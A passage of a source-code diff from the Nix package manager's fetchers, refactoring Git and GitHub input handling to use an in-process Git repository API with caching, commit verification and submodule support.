getEnv("_NIX_FORCE_HTTP") == "1"; // for testing auto url = parseURL(getStrAttr(input.attrs, "url")); bool isBareRepository = url.scheme == "file" && !pathExists(url.path + "/.git"); - bool isLocal = url.scheme == "file" && !forceHttp && !isBareRepository; - return {isLocal, isLocal ? url.path : url.base}; + repoInfo.isLocal = url.scheme == "file" && !forceHttp && !isBareRepository; + repoInfo.url = repoInfo.isLocal ? url.path : url.base; + + // If this is a local directory and no ref or revision is + // given, then allow the use of an unclean working tree. + if (!input.getRef() && !input.getRev() && repoInfo.isLocal) + repoInfo.workdirInfo = GitRepo::openRepo(repoInfo.url)->getWorkdirInfo(); + + return repoInfo; } - std::pair fetch(ref store, const Input & _input) override + uint64_t getLastModified(const RepoInfo & repoInfo, const std::string & repoDir, const Hash & rev) const { - Input input(_input); - auto gitDir = ".git"; + Cache::Key key{"gitLastModified", {{"rev", rev.gitRev()}}}; + + auto cache = getCache(); + + if (auto res = cache->lookup(key)) + return getIntAttr(*res, "lastModified"); + + auto lastModified = GitRepo::openRepo(repoDir)->getLastModified(rev); + + cache->upsert(key, {{"lastModified", lastModified}}); + + return lastModified; + } + + uint64_t getRevCount(const RepoInfo & repoInfo, const std::string & repoDir, const Hash & rev) const + { + Cache::Key key{"gitRevCount", {{"rev", rev.gitRev()}}}; + + auto cache = getCache(); + + if (auto revCountAttrs = cache->lookup(key)) + return getIntAttr(*revCountAttrs, "revCount"); + + Activity act(*logger, lvlChatty, actUnknown, fmt("getting Git revision count of '%s'", repoInfo.url)); + + auto revCount = GitRepo::openRepo(repoDir)->getRevCount(rev); + + cache->upsert(key, Attrs{{"revCount", revCount}}); + + return revCount; + } + + std::string getDefaultRef(const RepoInfo & repoInfo) const + { + auto head = repoInfo.isLocal + ? GitRepo::openRepo(repoInfo.url)->getWorkdirRef() + : readHeadCached(repoInfo.url); + if (!head) { + warn("could not read HEAD ref from repo at '%s', using 'master'", repoInfo.url); + return "master"; + } + return *head; + } + + static MakeNotAllowedError makeNotAllowedError(std::string url) + { + return [url{std::move(url)}](const CanonPath & path) -> RestrictedPathError + { + if (nix::pathExists(path.abs())) + return RestrictedPathError("access to path '%s' is forbidden because it is not under Git control; maybe you should 'git add' it to the repository '%s'?", path, url); + else + return RestrictedPathError("path '%s' does not exist in Git repository '%s'", path, url); + }; + } + + void verifyCommit(const Input & input, std::shared_ptr repo) const + { + auto publicKeys = getPublicKeys(input.attrs); + auto verifyCommit = maybeGetBoolAttr(input.attrs, "verifyCommit").value_or(!publicKeys.empty()); + + if (verifyCommit) { + if (input.getRev() && repo) + repo->verifyCommit(*input.getRev(), publicKeys); + else + throw Error("commit verification is required for Git repository '%s', but it's dirty", input.to_string()); + } + } + + std::pair, Input> getAccessorFromCommit( + ref store, + RepoInfo & repoInfo, + Input && input) const + { + assert(!repoInfo.workdirInfo.isDirty); + + auto origRev = input.getRev(); std::string name = input.getName(); - bool shallow = maybeGetBoolAttr(input.attrs, "shallow").value_or(false); - bool submodules = maybeGetBoolAttr(input.attrs, "submodules").value_or(false); - bool allRefs = maybeGetBoolAttr(input.attrs, "allRefs").value_or(false); - - std::string cacheType = "git"; - if (shallow) cacheType += "-shallow"; - if (submodules) cacheType += "-submodules"; - if (allRefs) cacheType += "-all-refs"; - - auto checkHashType = [&](const std::optional & hash) - { - if (hash.has_value() && !(hash->type == htSHA1 || hash->type == htSHA256)) - throw Error("Hash '%s' is not supported by Git. Supported types are sha1 and sha256.", hash->to_string(Base16, true)); - }; - - auto getLockedAttrs = [&]() - { - checkHashType(input.getRev()); - - return Attrs({ - {"type", cacheType}, - {"name", name}, - {"rev", input.getRev()->gitRev()}, - }); - }; - - auto makeResult = [&](const Attrs & infoAttrs, StorePath && storePath) - -> std::pair - { - assert(input.getRev()); - assert(!_input.getRev() || _input.getRev() == input.getRev()); - if (!shallow) - input.attrs.insert_or_assign("revCount", getIntAttr(infoAttrs, "revCount")); - input.attrs.insert_or_assign("lastModified", getIntAttr(infoAttrs, "lastModified")); - return {std::move(storePath), input}; - }; - - if (input.getRev()) { - if (auto res = getCache()->lookup(store, getLockedAttrs())) - return makeResult(res->first, std::move(res->second)); - } - - auto [isLocal, actualUrl_] = getActualUrl(input); - auto actualUrl = actualUrl_; // work around clang bug - - /* If this is a local directory and no ref or revision is given, - allow fetching directly from a dirty workdir. */ - if (!input.getRef() && !input.getRev() && isLocal) { - auto workdirInfo = getWorkdirInfo(input, actualUrl); - if (!workdirInfo.clean) { - return fetchFromWorkdir(store, input, actualUrl, workdirInfo); - } - } - - Attrs unlockedAttrs({ - {"type", cacheType}, - {"name", name}, - {"url", actualUrl}, - }); + auto originalRef = input.getRef(); + auto ref = originalRef ? *originalRef : getDefaultRef(repoInfo); + input.attrs.insert_or_assign("ref", ref); Path repoDir; - if (isLocal) { - if (!input.getRef()) { - auto head = readHead(actualUrl); - if (!head) { - warn("could not read HEAD ref from repo at '%s', using 'master'", actualUrl); - head = "master"; - } - input.attrs.insert_or_assign("ref", *head); - unlockedAttrs.insert_or_assign("ref", *head); - } - + if (repoInfo.isLocal) { + repoDir = repoInfo.url; if (!input.getRev()) - input.attrs.insert_or_assign("rev", - Hash::parseAny(chomp(runProgram("git", true, { "-C", actualUrl, "--git-dir", gitDir, "rev-parse", *input.getRef() })), htSHA1).gitRev()); - - repoDir = actualUrl; + input.attrs.insert_or_assign("rev", GitRepo::openRepo(repoDir)->resolveRef(ref).gitRev()); } else { - const bool useHeadRef = !input.getRef(); - if (useHeadRef) { - auto head = readHeadCached(actualUrl); - if (!head) { - warn("could not read HEAD ref from repo at '%s', using 'master'", actualUrl); - head = "master"; - } - input.attrs.insert_or_assign("ref", *head); - unlockedAttrs.insert_or_assign("ref", *head); - } else { - if (!input.getRev()) { - unlockedAttrs.insert_or_assign("ref", input.getRef().value()); - } - } - - if (auto res = getCache()->lookup(store, unlockedAttrs)) { - auto rev2 = Hash::parseAny(getStrAttr(res->first, "rev"), htSHA1); - if (!input.getRev() || input.getRev() == rev2) { - input.attrs.insert_or_assign("rev", rev2.gitRev()); - return makeResult(res->first, std::move(res->second)); - } - } - - Path cacheDir = getCachePath(actualUrl); + Path cacheDir = getCachePath(repoInfo.url, getShallowAttr(input)); repoDir = cacheDir; - gitDir = "."; + repoInfo.gitDir = "."; createDirs(dirOf(cacheDir)); - PathLocks cacheDirLock({cacheDir + ".lock"}); + PathLocks cacheDirLock({cacheDir}); - if (!pathExists(cacheDir)) { - runProgram("git", true, { "-c", "init.defaultBranch=" + gitInitialBranch, "init", "--bare", repoDir }); - } + auto repo = GitRepo::openRepo(cacheDir, true, true); + + // We need to set the origin so resolving submodule URLs works + repo->setRemote("origin", repoInfo.url); Path localRefFile = - input.getRef()->compare(0, 5, "refs/") == 0 - ? cacheDir + "/" + *input.getRef() - : cacheDir + "/refs/heads/" + *input.getRef(); + ref.compare(0, 5, "refs/") == 0 + ? cacheDir + "/" + ref + : cacheDir + "/refs/heads/" + ref; bool doFetch; time_t now = time(0); /* If a rev was specified, we need to fetch if it's not in the repo. */ - if (input.getRev()) { - try { - runProgram("git", true, { "-C", repoDir, "--git-dir", gitDir, "cat-file", "-e", input.getRev()->gitRev() }); - doFetch = false; - } catch (ExecError & e) { - if (WIFEXITED(e.status)) { - doFetch = true; - } else { - throw; - } - } + if (auto rev = input.getRev()) { + doFetch = !repo->hasObject(*rev); } else { - if (allRefs) { + if (getAllRefsAttr(input)) { doFetch = true; } else { /* If the local ref is older than ‘tarball-ttl’ seconds, do a @@ -542,133 +564,245 @@ struct GitInputScheme : InputScheme } if (doFetch) { - Activity act(*logger, lvlTalkative, actUnknown, fmt("fetching Git repository '%s'", actualUrl)); - - // FIXME: git stderr messes up our progress indicator, so - // we're using --quiet for now. Should process its stderr. try { - auto ref = input.getRef(); - auto fetchRef = allRefs + auto fetchRef = + getAllRefsAttr(input) ? "refs/*" - : ref->compare(0, 5, "refs/") == 0 - ? *ref - : ref == "HEAD" - ? *ref - : "refs/heads/" + *ref; - runProgram("git", true, { "-C", repoDir, "--git-dir", gitDir, "fetch", "--quiet", "--force", "--", actualUrl, fmt("%s:%s", fetchRef, fetchRef) }); + : input.getRev() + ? input.getRev()->gitRev() + : ref.compare(0, 5, "refs/") == 0 + ? ref + : ref == "HEAD" + ? ref + : "refs/heads/" + ref; + + repo->fetch(repoInfo.url, fmt("%s:%s", fetchRef, fetchRef), getShallowAttr(input)); } catch (Error & e) { if (!pathExists(localRefFile)) throw; - warn("could not update local clone of Git repository '%s'; continuing with the most recent version", actualUrl); + logError(e.info()); + warn("could not update local clone of Git repository '%s'; continuing with the most recent version", repoInfo.url); } - if (!touchCacheFile(localRefFile, now)) - warn("could not update mtime for file '%s': %s", localRefFile, strerror(errno)); - if (useHeadRef && !storeCachedHead(actualUrl, *input.getRef())) - warn("could not update cached head '%s' for '%s'", *input.getRef(), actualUrl); + try { + setWriteTime(localRefFile, now, now); + } catch (Error & e) { + warn("could not update mtime for file '%s': %s", localRefFile, e.msg()); + } + if (!originalRef && !storeCachedHead(repoInfo.url, ref)) + warn("could not update cached head '%s' for '%s'", ref, repoInfo.url); } - if (!input.getRev()) - input.attrs.insert_or_assign("rev", Hash::parseAny(chomp(readFile(localRefFile)), htSHA1).gitRev()); + if (auto rev = input.getRev()) { + if (!repo->hasObject(*rev)) + throw Error( + "Cannot find Git revision '%s' in ref '%s' of repository '%s'! " + "Please make sure that the " ANSI_BOLD "rev" ANSI_NORMAL " exists on the " + ANSI_BOLD "ref" ANSI_NORMAL " you've specified or add " ANSI_BOLD + "allRefs = true;" ANSI_NORMAL " to " ANSI_BOLD "fetchGit" ANSI_NORMAL ".", + rev->gitRev(), + ref, + repoInfo.url + ); + } else + input.attrs.insert_or_assign("rev", repo->resolveRef(ref).gitRev()); // cache dir lock is removed at scope end; we will only use read-only operations on specific revisions in the remainder } - bool isShallow = chomp(runProgram("git", true, { "-C", repoDir, "--git-dir", gitDir, "rev-parse", "--is-shallow-repository" })) == "true"; + auto repo = GitRepo::openRepo(repoDir); - if (isShallow && !shallow) - throw Error("'%s' is a shallow Git repository, but shallow repositories are only allowed when `shallow = true;` is specified.", actualUrl); + auto isShallow = repo->isShallow(); - // FIXME: check whether rev is an ancestor of ref. + if (isShallow && !getShallowAttr(input)) + throw Error("'%s' is a shallow Git repository, but shallow repositories are only allowed when `shallow = true;` is specified", repoInfo.url); - printTalkative("using revision %s of repo '%s'", input.getRev()->gitRev(), actualUrl); + // FIXME: check whether rev is an ancestor of ref? - /* Now that we know the ref, check again whether we have it in - the store. */ - if (auto res = getCache()->lookup(store, getLockedAttrs())) - return makeResult(res->first, std::move(res->second)); - - Path tmpDir = createTempDir(); - AutoDelete delTmpDir(tmpDir, true); - PathFilter filter = defaultPathFilter; - - auto result = runProgram(RunOptions { - .program = "git", - .args = { "-C", repoDir, "--git-dir", gitDir, "cat-file", "commit", input.getRev()->gitRev() }, - .mergeStderrToStdout = true - }); - if (WEXITSTATUS(result.first) == 128 - && result.second.find("bad file") != std::string::npos) - { - throw Error( - "Cannot find Git revision '%s' in ref '%s' of repository '%s'! " - "Please make sure that the " ANSI_BOLD "rev" ANSI_NORMAL " exists on the " - ANSI_BOLD "ref" ANSI_NORMAL " you've specified or add " ANSI_BOLD - "allRefs = true;" ANSI_NORMAL " to " ANSI_BOLD "fetchGit" ANSI_NORMAL ".", - input.getRev()->gitRev(), - *input.getRef(), - actualUrl - ); - } - - if (submodules) { - Path tmpGitDir = createTempDir(); - AutoDelete delTmpGitDir(tmpGitDir, true); - - runProgram("git", true, { "-c", "init.defaultBranch=" + gitInitialBranch, "init", tmpDir, "--separate-git-dir", tmpGitDir }); - // TODO: repoDir might lack the ref (it only checks if rev - // exists, see FIXME above) so use a big hammer and fetch - // everything to ensure we get the rev. - runProgram("git", true, { "-C", tmpDir, "fetch", "--quiet", "--force", - "--update-head-ok", "--", repoDir, "refs/*:refs/*" }); - - runProgram("git", true, { "-C", tmpDir, "checkout", "--quiet", input.getRev()->gitRev() }); - runProgram("git", true, { "-C", tmpDir, "remote", "add", "origin", actualUrl }); - runProgram("git", true, { "-C", tmpDir, "submodule", "--quiet", "update", "--init", "--recursive" }); - - filter = isNotDotGitDirectory; - } else { - // FIXME: should pipe this, or find some better way to extract a - // revision. - auto source = sinkToSource([&](Sink & sink) { - runProgram2({ - .program = "git", - .args = { "-C", repoDir, "--git-dir", gitDir, "archive", input.getRev()->gitRev() }, - .standardOut = &sink - }); - }); - - unpackTarfile(*source, tmpDir); - } - - auto storePath = store->addToStore(name, tmpDir, FileIngestionMethod::Recursive, htSHA256, filter); - - auto lastModified = std::stoull(runProgram("git", true, { "-C", repoDir, "--git-dir", gitDir, "log", "-1", "--format=%ct", "--no-show-signature", input.getRev()->gitRev() })); + auto rev = *input.getRev(); Attrs infoAttrs({ - {"rev", input.getRev()->gitRev()}, - {"lastModified", lastModified}, + {"rev", rev.gitRev()}, + {"lastModified", getLastModified(repoInfo, repoDir, rev)}, }); - if (!shallow) + if (!getShallowAttr(input)) infoAttrs.insert_or_assign("revCount", - std::stoull(runProgram("git", true, { "-C", repoDir, "--git-dir", gitDir, "rev-list", "--count", input.getRev()->gitRev() }))); + getRevCount(repoInfo, repoDir, rev)); - if (!_input.getRev()) - getCache()->add( - store, - unlockedAttrs, - infoAttrs, - storePath, - false); + printTalkative("using revision %s of repo '%s'", rev.gitRev(), repoInfo.url); - getCache()->add( - store, - getLockedAttrs(), - infoAttrs, - storePath, - true); + verifyCommit(input, repo); - return makeResult(infoAttrs, std::move(storePath)); + bool exportIgnore = getExportIgnoreAttr(input); + auto accessor = repo->getAccessor(rev, exportIgnore); + + accessor->setPathDisplay("«" + input.to_string() + "»"); + + /* If the repo has submodules, fetch them and return a mounted + input accessor consisting of the accessor for the top-level + repo and the accessors for the submodules. */ + if (getSubmodulesAttr(input)) { + std::map> mounts; + + for (auto & [submodule, submoduleRev] : repo->getSubmodules(rev, exportIgnore)) { + auto resolved = repo->resolveSubmoduleUrl(submodule.url); + debug("Git submodule %s: %s %s %s -> %s", + submodule.path, submodule.url, submodule.branch, submoduleRev.gitRev(), resolved); + fetchers::Attrs attrs; + attrs.insert_or_assign("type", "git"); + attrs.insert_or_assign("url", resolved); + if (submodule.branch != "") + attrs.insert_or_assign("ref", submodule.branch); + attrs.insert_or_assign("rev", submoduleRev.gitRev()); + attrs.insert_or_assign("exportIgnore", Explicit{ exportIgnore }); + attrs.insert_or_assign("submodules", Explicit{ true }); + attrs.insert_or_assign("allRefs", Explicit{ true }); + auto submoduleInput = fetchers::Input::fromAttrs(*input.settings, std::move(attrs)); + auto [submoduleAccessor, submoduleInput2] = + submoduleInput.getAccessor(store); + submoduleAccessor->setPathDisplay("«" + submoduleInput.to_string() + "»"); + mounts.insert_or_assign(submodule.path, submoduleAccessor); + } + + if (!mounts.empty()) { + mounts.insert_or_assign(CanonPath::root, accessor); + accessor = makeMountedSourceAccessor(std::move(mounts)); + } + } + + assert(!origRev || origRev == rev); + if (!getShallowAttr(input)) + input.attrs.insert_or_assign("revCount", getIntAttr(infoAttrs, "revCount")); + input.attrs.insert_or_assign("lastModified", getIntAttr(infoAttrs, "lastModified")); + + return {accessor, std::move(input)}; + } + + std::pair, Input> getAccessorFromWorkdir( + ref store, + RepoInfo & repoInfo, + Input && input) const + { + if (getSubmodulesAttr(input)) + /* Create mountpoints for the submodules. */ + for (auto & submodule : repoInfo.workdirInfo.submodules) + repoInfo.workdirInfo.files.insert(submodule.path); + + auto repo = GitRepo::openRepo(repoInfo.url, false, false); + + auto exportIgnore = getExportIgnoreAttr(input); + + ref accessor = + repo->getAccessor(repoInfo.workdirInfo, + exportIgnore, + makeNotAllowedError(repoInfo.url)); + + accessor->setPathDisplay(repoInfo.url); + + /* If the repo has submodules, return a mounted input accessor + consisting of the accessor for the top-level repo and the + accessors for the submodule workdirs. */ + if (getSubmodulesAttr(input) && !repoInfo.workdirInfo.submodules.empty()) { + std::map> mounts; + + for (auto & submodule : repoInfo.workdirInfo.submodules) { + auto submodulePath = CanonPath(repoInfo.url) / submodule.path; + fetchers::Attrs attrs; + attrs.insert_or_assign("type", "git"); + attrs.insert_or_assign("url", submodulePath.abs()); + attrs.insert_or_assign("exportIgnore", Explicit{ exportIgnore }); + attrs.insert_or_assign("submodules", Explicit{ true }); + // TODO: fall back to getAccessorFromCommit-like fetch when submodules aren't checked out + // attrs.insert_or_assign("allRefs", Explicit{ true }); + + auto submoduleInput = fetchers::Input::fromAttrs(*input.settings, std::move(attrs)); + auto [submoduleAccessor, submoduleInput2] = + submoduleInput.getAccessor(store); + submoduleAccessor->setPathDisplay("«" + submoduleInput.to_string() + "»"); + + /* If the submodule is dirty, mark this repo dirty as + well. */ + if (!submoduleInput2.getRev()) + repoInfo.workdirInfo.isDirty = true; + + mounts.insert_or_assign(submodule.path, submoduleAccessor); + } + + mounts.insert_or_assign(CanonPath::root, accessor); + accessor = makeMountedSourceAccessor(std::move(mounts)); + } + + if (!repoInfo.workdirInfo.isDirty) { + auto repo = GitRepo::openRepo(repoInfo.url); + + if (auto ref = repo->getWorkdirRef()) + input.attrs.insert_or_assign("ref", *ref); + + /* Return a rev of 000... if there are no commits yet. */ + auto rev = repoInfo.workdirInfo.headRev.value_or(nullRev); + + input.attrs.insert_or_assign("rev", rev.gitRev()); + input.attrs.insert_or_assign("revCount", + rev == nullRev ? 0 : getRevCount(repoInfo, repoInfo.url, rev)); + + verifyCommit(input, repo); + } else { + repoInfo.warnDirty(*input.settings); + + if (repoInfo.workdirInfo.headRev) { + input.attrs.insert_or_assign("dirtyRev", + repoInfo.workdirInfo.headRev->gitRev() + "-dirty"); + input.attrs.insert_or_assign("dirtyShortRev", + repoInfo.workdirInfo.headRev->gitShortRev() + "-dirty"); + } + + verifyCommit(input, nullptr); + } + + input.attrs.insert_or_assign( + "lastModified", + repoInfo.workdirInfo.headRev + ? getLastModified(repoInfo, repoInfo.url, *repoInfo.workdirInfo.headRev) + : 0); + + return {accessor, std::move(input)}; + } + + std::pair, Input> getAccessor(ref store, const Input & _input) const override + { + Input input(_input); + + auto repoInfo = getRepoInfo(input); + + if (getExportIgnoreAttr(input) + && getSubmodulesAttr(input)) { + /* In this situation, we don't have a git CLI behavior that we can copy. + `git archive` does not support submodules, so it is unclear whether + rules from the parent should affect the submodule or not. + When git may eventually implement this, we need Nix to match its + behavior. */ + throw UnimplementedError("exportIgnore and submodules are not supported together yet"); + } + + auto [accessor, final] = + input.getRef() || input.getRev() || !repoInfo.isLocal + ? getAccessorFromCommit(store, repoInfo, std::move(input)) + : getAccessorFromWorkdir(store, repoInfo, std::move(input)); + + return {accessor, std::move(final)}; + } + + std::optional getFingerprint(ref store, const Input & input) const override + { + if (auto rev = input.getRev()) + return rev->gitRev() + (getSubmodulesAttr(input) ? ";s" : "") + (getExportIgnoreAttr(input) ? ";e" : ""); + else + return std::nullopt; + } + + bool isLocked(const Input & input) const override + { + return (bool) input.getRev(); } }; diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index 1ed09d30d..2e914164a 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -7,6 +7,9 @@ #include "git.hh" #include "fetchers.hh" #include "fetch-settings.hh" +#include "tarball.hh" +#include "tarfile.hh" +#include "git-utils.hh" #include #include @@ -21,18 +24,18 @@ struct DownloadUrl }; // A github, gitlab, or sourcehut host -const static std::string hostRegexS = "[a-zA-Z0-9.]*"; // FIXME: check +const static std::string hostRegexS = "[a-zA-Z0-9.-]*"; // FIXME: check std::regex hostRegex(hostRegexS, std::regex::ECMAScript); struct GitArchiveInputScheme : InputScheme { - virtual std::string type() const = 0; - virtual std::optional> accessHeaderFromToken(const std::string & token) const = 0; - std::optional inputFromURL(const ParsedURL & url) const override + std::optional inputFromURL( + const fetchers::Settings & settings, + const ParsedURL & url, bool requireTree) const override { - if (url.scheme != type()) return {}; + if (url.scheme != schemeName()) return {}; auto path = tokenizeString>(url.path, "/"); @@ -43,7 +46,7 @@ struct GitArchiveInputScheme : InputScheme auto size = path.size(); if (size == 3) { if (std::regex_match(path[2], revRegex)) - rev = Hash::parseAny(path[2], htSHA1); + rev = Hash::parseAny(path[2], HashAlgorithm::SHA1); else if (std::regex_match(path[2], refRegex)) ref = path[2]; else @@ -69,7 +72,7 @@ struct GitArchiveInputScheme : InputScheme if (name == "rev") { if (rev) throw BadURL("URL '%s' contains multiple commit hashes", url.url); - rev = Hash::parseAny(value, htSHA1); + rev = Hash::parseAny(value, HashAlgorithm::SHA1); } else if (name == "ref") { if (!std::regex_match(value, refRegex)) @@ -89,29 +92,43 @@ struct GitArchiveInputScheme : InputScheme if (ref && rev) throw BadURL("URL '%s' contains both a commit hash and a branch/tag name %s %s", url.url, *ref, rev->gitRev()); - Input input; - input.attrs.insert_or_assign("type", type()); + Input input{settings}; + input.attrs.insert_or_assign("type", std::string { schemeName() }); input.attrs.insert_or_assign("owner", path[0]); input.attrs.insert_or_assign("repo", path[1]); if (rev) input.attrs.insert_or_assign("rev", rev->gitRev()); if (ref) input.attrs.insert_or_assign("ref", *ref); if (host_url) input.attrs.insert_or_assign("host", *host_url); + auto narHash = url.query.find("narHash"); + if (narHash != url.query.end()) + input.attrs.insert_or_assign("narHash", narHash->second); + return input; } - std::optional inputFromAttrs(const Attrs & attrs) const override + StringSet allowedAttrs() const override { - if (maybeGetStrAttr(attrs, "type") != type()) return {}; - - for (auto & [name, value] : attrs) - if (name != "type" && name != "owner" && name != "repo" && name != "ref" && name != "rev" && name != "narHash" && name != "lastModified" && name != "host") - throw Error("unsupported input attribute '%s'", name); + return { + "owner", + "repo", + "ref", + "rev", + "narHash", + "lastModified", + "host", + "treeHash", + }; + } + std::optional inputFromAttrs( + const fetchers::Settings & settings, + const Attrs & attrs) const override + { getStrAttr(attrs, "owner"); getStrAttr(attrs, "repo"); - Input input; + Input input{settings}; input.attrs = attrs; return input; } @@ -125,16 +142,14 @@ struct GitArchiveInputScheme : InputScheme auto path = owner + "/" + repo; assert(!(ref && rev)); if (ref) path += "/" + *ref; - if (rev) path += "/" + rev->to_string(Base16, false); - return ParsedURL { - .scheme = type(), + if (rev) path += "/" + rev->to_string(HashFormat::Base16, false); + auto url = ParsedURL { + .scheme = std::string { schemeName() }, .path = path, }; - } - - bool hasAllInfo(const Input & input) const override - { - return input.getRev() && maybeGetIntAttr(input.attrs, "lastModified"); + if (auto narHash = input.getNarHash()) + url.query.insert_or_assign("narHash", narHash->to_string(HashFormat::SRI, true)); + return url; } Input applyOverrides( @@ -157,18 +172,20 @@ struct GitArchiveInputScheme : InputScheme return input; } - std::optional getAccessToken(const std::string & host) const + std::optional getAccessToken(const fetchers::Settings & settings, const std::string & host) const { - auto tokens = fetchSettings.accessTokens.get(); + auto tokens = settings.accessTokens.get(); if (auto token = get(tokens, host)) return *token; return {}; } - Headers makeHeadersWithAuthTokens(const std::string & host) const + Headers makeHeadersWithAuthTokens( + const fetchers::Settings & settings, + const std::string & host) const { Headers headers; - auto accessToken = getAccessToken(host); + auto accessToken = getAccessToken(settings, host); if (accessToken) { auto hdr = accessHeaderFromToken(*accessToken); if (hdr) @@ -179,55 +196,138 @@ struct GitArchiveInputScheme : InputScheme return headers; } - virtual Hash getRevFromRef(nix::ref store, const Input & input) const = 0; + struct RefInfo + { + Hash rev; + std::optional treeHash; + }; + + virtual RefInfo getRevFromRef(nix::ref store, const Input & input) const = 0; virtual DownloadUrl getDownloadUrl(const Input & input) const = 0; - std::pair fetch(ref store, const Input & _input) override + struct TarballInfo { - Input input(_input); + Hash treeHash; + time_t lastModified; + }; + std::pair downloadArchive(ref store, Input input) const + { if (!maybeGetStrAttr(input.attrs, "ref")) input.attrs.insert_or_assign("ref", "HEAD"); + std::optional upstreamTreeHash; + auto rev = input.getRev(); - if (!rev) rev = getRevFromRef(store, input); + if (!rev) { + auto refInfo = getRevFromRef(store, input); + rev = refInfo.rev; + upstreamTreeHash = refInfo.treeHash; + debug("HEAD revision for '%s' is %s", input.to_string(), refInfo.rev.gitRev()); + } input.attrs.erase("ref"); input.attrs.insert_or_assign("rev", rev->gitRev()); - Attrs lockedAttrs({ - {"type", "git-tarball"}, - {"rev", rev->gitRev()}, - }); + auto cache = getCache(); - if (auto res = getCache()->lookup(store, lockedAttrs)) { - input.attrs.insert_or_assign("lastModified", getIntAttr(res->first, "lastModified")); - return {std::move(res->second), input}; + Cache::Key treeHashKey{"gitRevToTreeHash", {{"rev", rev->gitRev()}}}; + Cache::Key lastModifiedKey{"gitRevToLastModified", {{"rev", rev->gitRev()}}}; + + if (auto treeHashAttrs = cache->lookup(treeHashKey)) { + if (auto lastModifiedAttrs = cache->lookup(lastModifiedKey)) { + auto treeHash = getRevAttr(*treeHashAttrs, "treeHash"); + auto lastModified = getIntAttr(*lastModifiedAttrs, "lastModified"); + if (getTarballCache()->hasObject(treeHash)) + return {std::move(input), TarballInfo { .treeHash = treeHash, .lastModified = (time_t) lastModified }}; + else + debug("Git tree with hash '%s' has disappeared from the cache, refetching...", treeHash.gitRev()); + } } + /* Stream the tarball into the tarball cache. */ auto url = getDownloadUrl(input); - auto [tree, lastModified] = downloadTarball(store, url.url, input.getName(), true, url.headers); + auto source = sinkToSource([&](Sink & sink) { + FileTransferRequest req(url.url); + req.headers = url.headers; + getFileTransfer()->download(std::move(req), sink); + }); - input.attrs.insert_or_assign("lastModified", uint64_t(lastModified)); + auto act = std::make_unique(*logger, lvlInfo, actUnknown, + fmt("unpacking '%s' into the Git cache", input.to_string())); - getCache()->add( - store, - lockedAttrs, - { - {"rev", rev->gitRev()}, - {"lastModified", uint64_t(lastModified)} - }, - tree.storePath, - true); + TarArchive archive { *source }; + auto tarballCache = getTarballCache(); + auto parseSink = tarballCache->getFileSystemObjectSink(); + auto lastModified = unpackTarfileToSink(archive, *parseSink); - return {std::move(tree.storePath), input}; + act.reset(); + + TarballInfo tarballInfo { + .treeHash = tarballCache->dereferenceSingletonDirectory(parseSink->sync()), + .lastModified = lastModified + }; + + cache->upsert(treeHashKey, Attrs{{"treeHash", tarballInfo.treeHash.gitRev()}}); + cache->upsert(lastModifiedKey, Attrs{{"lastModified", (uint64_t) tarballInfo.lastModified}}); + + #if 0 + if (upstreamTreeHash != tarballInfo.treeHash) + warn( + "Git tree hash mismatch for revision '%s' of '%s': " + "expected '%s', got '%s'. " + "This can happen if the Git repository uses submodules.", + rev->gitRev(), input.to_string(), upstreamTreeHash->gitRev(), tarballInfo.treeHash.gitRev()); + #endif + + return {std::move(input), tarballInfo}; + } + + std::pair, Input> getAccessor(ref store, const Input & _input) const override + { + auto [input, tarballInfo] = downloadArchive(store, _input); + + #if 0 + input.attrs.insert_or_assign("treeHash", tarballInfo.treeHash.gitRev()); + #endif + input.attrs.insert_or_assign("lastModified", uint64_t(tarballInfo.lastModified)); + + auto accessor = getTarballCache()->getAccessor(tarballInfo.treeHash, false); + + accessor->setPathDisplay("«" + input.to_string() + "»"); + + return {accessor, input}; + } + + bool isLocked(const Input & input) const override + { + /* Since we can't verify the integrity of the tarball from the + Git revision alone, we also require a NAR hash for + locking. FIXME: in the future, we may want to require a Git + tree hash instead of a NAR hash. */ + return input.getRev().has_value() + && (input.settings->trustTarballsFromGitForges || + input.getNarHash().has_value()); + } + + std::optional experimentalFeature() const override + { + return Xp::Flakes; + } + + std::optional getFingerprint(ref store, const Input & input) const override + { + if (auto rev = input.getRev()) + return rev->gitRev(); + else + return std::nullopt; } }; struct GitHubInputScheme : GitArchiveInputScheme { - std::string type() const override { return "github"; } + std::string_view schemeName() const override { return "github"; } std::optional> accessHeaderFromToken(const std::string & token) const override { @@ -255,7 +355,7 @@ struct GitHubInputScheme : GitArchiveInputScheme return getStrAttr(input.attrs, "repo"); } - Hash getRevFromRef(nix::ref store, const Input & input) const override + RefInfo getRevFromRef(nix::ref store, const Input & input) const override { auto host = getHost(input); auto url = fmt( @@ -264,22 +364,24 @@ struct GitHubInputScheme : GitArchiveInputScheme : "https://%s/api/v3/repos/%s/%s/commits/%s", host, getOwner(input), getRepo(input), *input.getRef()); - Headers headers = makeHeadersWithAuthTokens(host); + Headers headers = makeHeadersWithAuthTokens(*input.settings, host); auto json = nlohmann::json::parse( readFile( store->toRealPath( - downloadFile(store, url, "source", false, headers).storePath))); - auto rev = Hash::parseAny(std::string { json["sha"] }, htSHA1); - debug("HEAD revision for '%s' is %s", url, rev.gitRev()); - return rev; + downloadFile(store, url, "source", headers).storePath))); + + return RefInfo { + .rev = Hash::parseAny(std::string { json["sha"] }, HashAlgorithm::SHA1), + .treeHash = Hash::parseAny(std::string { json["commit"]["tree"]["sha"] }, HashAlgorithm::SHA1) + }; } DownloadUrl getDownloadUrl(const Input & input) const override { auto host = getHost(input); - Headers headers = makeHeadersWithAuthTokens(host); + Headers headers = makeHeadersWithAuthTokens(*input.settings, host); // If we have no auth headers then we default to the public archive // urls so we do not run into rate limits. @@ -291,7 +393,7 @@ struct GitHubInputScheme : GitArchiveInputScheme : "https://api.%s/repos/%s/%s/tarball/%s"; const auto url = fmt(urlFmt, host, getOwner(input), getRepo(input), - input.getRev()->to_string(Base16, false)); + input.getRev()->to_string(HashFormat::Base16, false)); return DownloadUrl { url, headers }; } @@ -299,7 +401,7 @@ struct GitHubInputScheme : GitArchiveInputScheme void clone(const Input & input, const Path & destDir) const override { auto host = getHost(input); - Input::fromURL(fmt("git+https://%s/%s/%s.git", + Input::fromURL(*input.settings, fmt("git+https://%s/%s/%s.git", host, getOwner(input), getRepo(input))) .applyOverrides(input.getRef(), input.getRev()) .clone(destDir); @@ -308,7 +410,7 @@ struct GitHubInputScheme : GitArchiveInputScheme struct GitLabInputScheme : GitArchiveInputScheme { - std::string type() const override { return 